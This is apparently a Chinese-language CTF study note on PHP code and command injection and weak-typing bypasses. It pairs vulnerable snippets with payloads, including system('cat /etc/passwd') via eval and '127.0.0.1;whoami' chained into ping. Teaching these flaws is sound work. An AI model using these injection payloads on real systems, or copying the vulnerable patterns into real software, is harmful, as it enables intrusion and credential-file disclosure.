CODE/COMMAND INJECTION
CODE INJECTION
https://www.freebuf.com/sectool/168653.html
EXAMPLE1
<?php $str = “echo \”hello “. $GET_[‘name’].”!!!\”;”; .是连接 双引号注意就近。 Eval($str); \”双引号转义 因为echo 内容需要是字符串 ?> 注意单引号双引号区别 %22.system(%27ls%27);// 输入,替换了$GET_[‘name’] %22 : “ %27: ‘ <?php $str = “echo \”hello “. %22.system(%27ls%27);//.”!!!\”;”; Eval($str); ?> ‘.cat /etc/passwd’ %22.system(‘cat /etc/passwd’);// 失败 %22.system(%27cat /etc/passwd%27);// 成功
COMMAND INJECTION
Example 1
<?php
System(‘ping –c $_GET[‘ip’]’ );
?>
127.0.0.1;whoami
PHP 弱类型
= ==
strcmp()
<?php if (isset($_GET[\'value\'])) { if (strcmp($_GET[\'value\'], $flag) == 0) die(\'Flag is: \'.$flag); else print \'Flag is not here !\'; } ?>
Strcmp= s1-s2
参数是两个数组,输入数组则错误,判断相等
Urlcode 二次编码绕过
/i 不区分大小写
浏览器对用户输入数据自动解码(比如输入 %27)
<?php if(preg_match("/hackerDJ/i",$_GET[id])) { echo(" not allowed ! "); exit(); } $_GET[id] = urldecode($_GET[id]); //解码 if($_GET[id] == "hackerDJ") { die(\'Flag is: \'.$flag); } ?>
对D ,为 %44,再次urlencode,得到 %2544
整数类型大小比较
数组在比较中恒大与具体值
其他类型和整形比较会先 intval()
<?php $temp = $_GET[\'id\']; is_numeric($temp) ? die("retry !") : NULL; if($temp>6607){ die(\'Flag is: \'.$flag); } else print \'Flag is not here !\'; ?> Flag is not here !
Extract 变量覆盖
Extract(array,extract_rules,prefix)
<?php $flags=\'test.txt\'; extract($_GET); if(isset($id)) { $content=trim(file_get_contents($flags)); if($id==$content) { die(\'Flag is: \'.$flag); } else { print \'Flag is not here !\'; } } ?>
如果输入id=$content
使用extract接收输入,存在变量覆盖,覆盖flags
接收输入后,flags=1,此时
file_get_contents($flags)
取不到文件,故content为空
同时输入id是空。 &是连接符,重新复制flags
输出flag
Intval()
小数取整echo intval(9.999); // 9。最大值取决于操作系统
<?php $key = $_GET[\'key\']; if(intval($key) > 1||intval($key) < 0){ die("key is not right"); } elseif (intval($key) < 1) { if ($key ==1) { die(\'Flag is: \'.$flag); }else print \'key is not right !!!\'; } ?> key is not right !!!
Php中弱比较,1==0.999999999999999999999999
比如 echo 1==0.999999999999999999999999 输出1
正则截断
Erge
Php版本小于5.3
遇到%00 默认字符串结束
Preg_match()
Php>=5.3
遇到%00 默认字符串结束
<?php if(isset($_GET[\'password\'])){ if(preg_match("/^[a-zA-Z0-9]+$/", $_GET[\'password\']) === FALSE){ print(\'You password not right\'); } elseif(strlen($_GET[\'password\']) < 8 && $_GET[\'password\'] > 9999999){ if(strpos($_GET[\'password\'], \'*_*\') !== FALSE){ die(\'Flag is:\'.$flag); } else{ print(\'*_* have not been found\'); } } else{ print(\'Invalid password\'); } } ?>
1e8 >9999999 字符串长度小于8
Eval() 注入
把字符串当做PHP代码执行。只能执行不能回显。
<?php if (isset($_GET[\'id\'])) { $id = $_GET[\'id\']; eval("var_dump($id);"); } ?>
闭合括号,注释掉后面
Md5()弱比较
PHP中 md5对数组加密返回NULL
对所有0e开头(16进制)字符串认为相等
<?php if (isset($_GET[\'p1\']) && isset($_GET[\'p2\'])) { if ($_GET[\'p1\'] != $_GET[\'p2\'] && md5($_GET[\'p1\']) == md5($_GET[\'p2\'])) die(\'Flag is: \'.$flag); else print \'Flag is not here !\'; } ?>
输入数组用 ?p1[],多个用 &
Md5()强比较
== 只对值比较,两边先转化为同种类型,若一方为数字另一方为空或null或数组,现将字符串转化为0
=== 比较类型和值
<?php if (isset($_GET[\'p1\']) && isset($_GET[\'p2\'])) { if ($_GET[\'p1\'] != $_GET[\'p2\'] && md5($_GET[\'p1\']) === md5($_GET[\'p2\'])) die(\'Flag is: \'.$flag); else print \'Flag is not here !\'; } ?>
Sha()弱比较
对数组加密返回NULL
<?php if (isset($_GET[\'name\']) and isset($_GET[\'password\'])) { if ($_GET[\'name\'] == $_GET[\'password\']) echo \' Your password can not be your name! \'; else if (sha1($_GET[\'name\']) === sha1($_GET[\'password\'])) die(\'Flag: \'.$flag); else echo \' Invalid password \'; } else echo \'Flag is not here !\'; ?> Flag is not here !
Strpos
查找字符串在字符串第一次出现的位置。Strpos(string,find,start)。在string中查找find
<?php if (isset($_GET[\'id\'])) { $one = ord(\'0\'); $nine = ord(\'9\'); for($i = 0; $i < strlen($_GET[\'id\']); $i++) { $digit = ord($_GET[\'id\']{$i}); if(($digit < $one) || ($digit > $nine) ) { print("必须输入数字才行"); return FALSE; } } if (strpos($_GET[\'id\'], \'sss607\') !== FALSE) die(\'Flag: \'.$flag); else echo \'flag is not here ~\'; } ?>
先判断只有数字
Strpos对数组查找返回NULL,NULL!==flase
Session 验证绕过
Session_start() 用来初始化session或从session仓库加载已经存在的session变量
<?php @session_start(); print($_SESSION["password"]); if ($_GET[\'password\'] == $_SESSION[\'password\']) die (\'Flag: \'.$flag); else print \'password is not right !\'; $_SESSION[\'password\']=rand(10000000,99999999); ?>
系统会判断用户输入的password的值是否与当前session中password值相同。初始时session为空,故输入password为空即可
若直接访问过http://10.201.132.248:8090/13.session/session.php 则session已经存在,不为空。清空缓存或者换浏览器即可